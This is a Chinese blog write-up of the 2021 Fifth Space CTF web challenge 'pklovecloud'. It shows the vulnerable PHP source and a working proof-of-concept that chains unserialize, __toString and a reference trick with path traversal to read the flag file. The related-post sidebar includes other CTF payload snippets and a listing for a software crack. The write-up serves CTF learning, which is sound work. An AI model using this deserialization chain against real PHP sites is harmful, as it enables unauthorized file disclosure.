NSSCTF[第五空间 2021]pklovecloud_WP

[第五空间 2021]pklovecloud 详细题解 这里代码中并没有出现过$heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,$heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过$heat,那么$heat的值就是NULL 因为类中的属性和类外面的属性值是没关系的 用两个php文件演示一下,这里没有给属性docker赋值,但是满足了 $this->docker === $heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL 阅读详情

NSSCTF[第五空间 2021]pklovecloud_WP

比赛源码

<?php 

include 'flag.php';

class pkshow 

{ 

  function echo_name()   

  {     

​    return "Pk very safe^.^";   

  } 

} 

 

class acp 

{  

  protected $cinder;                   //保护变量记得加url编码

  public $neutron;                     //用引用($neutron=&$ova)使二者相等

  public $nova;

  function __construct()                 //以后需要在私有和保护变量中赋值一个对象,可以用

  {                                      __construct()魔术方法来赋值

​    $this->cinder = new pkshow;

  } 

  function __toString()                 //触发__tostring()在下方传参时会用到echo函数导致触发

  {     

​    if (isset($this->cinder)) 

​      return $this->cinder->echo_name();                 2//cider=new ace();

  } 

} 

 

class ace

{  

  public $filename;   

  public $openstack;

  public $docker; 

  function echo_name()   

  {  

​    $this->openstack = unserialize($this->docker);            1//docker=null;  

​    $this->openstack->neutron = $heat;     

​    if($this->openstack->neutron === $this->openstack->nova)       1//openstack=new acp();

​    {

​    $file = "./{$this->filename}";

​      if (file_get_contents($file))     

​      {       

​        return file_get_contents($file);           1//file=flag.php

​      } 

​      else 

​      { 

​        return "keystone lost~"; 

​      }  

​    }

  } 

} 

 

if (isset($_GET['pks'])) 

{

  $logData = unserialize($_GET['pks']);

  echo $logData;                   //触发__tostring()函数

} 

else 

{ 

  highlight_file(__file__); 

}

?>

-----------------------------------------------------------------------------------------------------------------------

POC:

<?php

 

class acp

{

  protected $cinder;

  public $neutron;

  public $nova;

  function __construct()

  {

​    $this -> cinder =new ace();

  }

}

 

class ace

{

  public $filename="../nssctfasdasdflag";

  public $openstack;

  public $docker=null;

 

}

$a=new acp();

$a->nova=&$a->neutron;

$e=new ace();

$e->openstack=$e;

echo urlencode(serialize($a));

Filename=flag,网页输出的结果(在源码里)给了提示。

在这里插入图片描述

提示flag在nssctfasdasdflag中,于是更改filename。网页显示:

在这里插入图片描述

导致这个原因是在下面这个判断语句:

在这里插入图片描述

说明nssctfasdasdflag这个文件不存在此目录,于是猜测在上一个目录,更改pocFilename=…/nssctfasdasdflag。成功回显flag。

在这里插入图片描述

PHP反序列化&POP链的构造——2021第五空间CTF pklovecloud 网上关与PHP反序列化&POP链构造的文章有很多,笔者在这里简要讲解一下其相关知识。 0x01 序列化和反序列化 为方便存储和传输对象,将对象转化为字符串的操作叫做序列化( serialize() ),将所转化的字符串恢复成对象的过程叫做反序列化( unserialize() )。 举个栗子: <?php Class test{ public $a= '1'; public $bb= 2; public $ccc= True; } $r= new test(); ec 阅读详情

相关推荐

[第五空间 2021]pklovecloud

也可以直接不给$neutron,$nova,$docker值。除了按部就班的根据代码来写序列化。

stantic的博客 296

[第五空间 2021]pklovecloud slackmoon的WriteUp

NSSCTF[第五空间 2021]pklovecloud

m0_61155226的博客 1029

[第五空间 2021]EasyCleanup

从一道赛题学习利用session.upload_progress实现恶意文件包含getshell

ph0ebus的博客 1750

NSSCTF-第五空间2021-wp

NSSCTF-第五空间2021-wp

F1rstb100d 1519

2021 第五空间 ctf wp

2021 第五空间 ctf Misc签到alpha10BabyMiCryptoECCReverseuniappPwnbountyhunterCrazyVMWebEasyCleanuppklovecloudPNG图⽚转换器WebFTPyet_another_mysql_injection Misc 签到 flag{welcometo5space} alpha10 分离得到两个图⽚,⼀个jpg⼀个png, 两张图⼀样,想到可能是盲⽔印, https://github.com/chishaxie/BlindWa

qq_45603443的博客 4147

NSSCTF (3)

我们打开js源码很明显这里当score大于60会出flag我们寻找到了getScore方法所在的地方之后发现他存在于Snake.prototype中再控制台中给getScore赋值再空格页面。

qq_61988806的博客 794

[第五空间 2021]pklovecloud题解

在acp这个类里面,我们看到了_toString魔法方法,这个方法是当我们把一个对象当作函数调用时会被自动调用。并且_toString方法里还调用了echo_name()这个函数,这个函数恰巧就是我们先前找到的最终获得flag的地方。首先变量heat也是没有被赋值的,如果这时我们让变量nova的值也为空的话不久可以了嘛。这里我们就找到了这个链的终点,即我们可以通过这个file_get_contents函数来获得flag。知道了flag的位置了只需要把变量filename的值变一下就成功获得flag了。

qq_64222098的博客 381

深信服技术认证“SCCA-C”划重点:信服云托管云

该认证包括云数据中心基础、云计算基础、云计算关键技术、云计算交付和运维体系、云计算技术商业应用、信服云托管云、深信服超融合HCI、深信服桌面云aDesk、深信服分布式存储EDS、深信服应用交付AD。学习并获得SCCA-C认证后,可以具备深信服产品功能原理与实践,能够根据业务需求,协助完成云产品方案落地与实施;能够根据业务需求,完成深信服云产品的部署和管理的基本工作。为帮助大家更加系统化地学习云计算知识,高效通过云计算工程师认证,深信服特推出“SCCA-C认证备考秘笈”,共十期内容。

sangfor_edu的博客 612

[第五空间 2021]pklovecloud 解题思路&过程

[第五空间 2021]pklovecloud 解题思路&过程

iamblackcat's blog 861

DPABI安装教程

DPABI是是中科院心理研究所严超赣老师团队开发的一款磁共振脑影像数据分析工具包。基于SPM,在安装DPABI之前需要安装好SPM,才能正常使用。SPM的安装方法见文matlab2021a版本条件下安装spm_kidllll的博客-优快云博客 1、下载安装包 下载地址:DPABI: a toolbox for Data Processing & Analysis for Brain Imaging | The R-fMRI Network 2、将下载好的dpabi文件夹移动到matl..

qq_42356925的博客 1万+

数字IC后端设计实现 | PR工具中到底应该如何控制density和congestion?(ICC2&Innovus)

数字IC后端设计实现中到底应该如何控制cell density和congestion?(ICC2和Innovus两种解决方案)

weixin_37584728的博客 7111

2021-第五空间智能安全大赛-Web-pklovecloud

<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct()

qq_53863234的博客 3594

Android MediaCodec学习笔记

模块介绍 基本概念 OpenMAX是Khronos Group提出的标准,目标在于创造一个统一的接口,加速大量多媒体资料的处理。OpenMAX分成三层:应用层(Application Layer, AL), 整合层(Integration Layer, IL) 以及开发层(Development Layer, DL)。 OpenMAX (Open Media Acceleration) OpenMAX AL Application Layer ..

kisshine 2358

第五空间PKlovecloud题解

this->filename一眼丁真反序列化打开代码编辑器,我们需要构造pop链,来连接入口和出口,题目中我们需要拿flag,可以看到危险函数file_get_contents(),我们可以进行文件读取,我们来研究一下如何读取这里就上面两个魔术方法我们看下这段代码输出一个$logData,当我们传入一个对象时就会触发_tostring(),所以我们一开始传入acp(),可以看到危险函数在函数echo_name里,而_tostring里刚好有这个函数,所以我们给$cinder。

m0_74925562的博客 508

从CAD到Web:高效转换STEP/IGES模型为GLB格式的实践指南

本文详细介绍了如何将工业设计中的STEP/IGES模型高效转换为Web友好的GLB格式。通过PythonOCC和gltf-pipeline等工具链,实现从CAD到Web的无缝转换,大幅提升模型加载速度和展示效果。文章包含实战案例、优化技巧和常见问题解决方案,帮助开发者快速掌握3D模型转换技术。

weixin_29072299的博客 507

1、JMP脚本编程全面指南:从基础到高级应用

本博客全面介绍了JMP脚本编程的各个方面,从JMP基础和JSL入门,到数据类型、数据结构、编程方法、数据表操作、图形与三维场景脚本,再到应用程序创建与扩展功能。内容涵盖脚本工具使用、常见任务实现、兼容性说明及未来发展趋势,旨在帮助用户掌握JMP脚本语言的强大功能,提升数据分析的自动化与定制化能力。适合从初学者到高级用户的深入学习与实践参考。

flink9streamer的博客 266

记ECC例题

简单入门级ECC例题 discrete_log() 普适性Pohlig_Hellman算法 Smart’s attack 概念题 多项式求根 求点公式 私钥求解

Emmaaaaa's blog 3017

Qwen2.5-VL多模态微调超参数深度解析(上):训练流程与优化策略的量化机制分析

上篇文章通过系统化的对比实验,回答了多模态微调中的三个基础问题:“选什么方法”(LoRA/Full/Freeze/OFT对比)、“用什么配置”(60+组超参数组合)、“达到什么效果”(ROUGE-L/BLEU-4指标)。这些结果为后续工作奠定了实验基线,但也留下了更深层的疑问:为何相同方法在不同数据集上表现迥异?为何某些超参数的微小调整会引发性能剧变?如何在未见过的任务上快速找到最优配置?本文是对前文实验数据的二次挖掘与机理解析。我们将关注点从"做了什么实验"转移到"实验揭示了什么规律",实验视角从"结果对

羊城迷鹿的博客 1003

NSSCTF - Web | 【第五空间 2021】pklovecloud

如上,得到提示,flag 位于根目录,这里我们只需要利用目录穿越漏洞,修改一下。函数中,在 PHP 中函数内部是无法直接访问函数外部定义的变量的,除非使用。变量未在当前文件出现过,因此我们可以推测其在 flag.php 文件中。本题考察的是 PHP 反序列化漏洞,与一般考题不同,此次的入口为。关键字或参数传递,因此,上面这条语句会报一个错,即。当 PHP 遇到一个未定义的变量时,它会发出一个。类,所以需要我们手动在对象内部为其赋值。值确定了,那么下一个问题,哪个类中有。值得注意的是,赋值发生在。

Blue17 の 小窝 796

【华为OD机试真题】6、数组去重和排序 | 机试真题+思路参考+代码解析(C++、Java、Py、C语言、JS)

题目描述 >给定一个乱序的数组,删除所有的重复元素,使得每个元素只出现一次,并且按照出现的次数从高到低进行排序,相同出现次数按照第一次出现顺序进行先后排序

KJ.JK 3887

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

NSS [第五空间 2021]pklovecloud

NSS [第五空间 2021]pklovecloud

Jay17的博客 272

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

NSSCTF-WEB-pklovecloud

许久未见,甚是想念.今天来解一道有意思的序列化题。

m0_52061428的博客 1080

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

ctfer的日常web:pklovecloud(CTFHUB)

ctfer的日常web:pklovecloud(CTFHUB),php反序列化,R:2, 绕过....在 PHP 的序列化字符串中,R: 表示一个引用。在你提供的序列化字符串中,R:2; 表示引用编号为 2 的对象。这意味着,在反序列化这个字符串时,属性 "nova" 的值将是之前引用编号为 2 的对象所指向的值。即:O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}

Hunter1_1的博客 815

2021-第五空间智能安全大赛-Web-EasyCleanup

打开后看到源码: <?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = $_GET['shell'] ?? 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell)

qq_53863234的博客 2085

[第五空间 2021]web 复现wp

[第五空间 2021] wp

snowlyzz的博客 780
上一篇: 2024春秋杯夏季赛Hijack_wp(详细讲解)
岁栢
博客等级 码龄4年 80粉丝 4原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值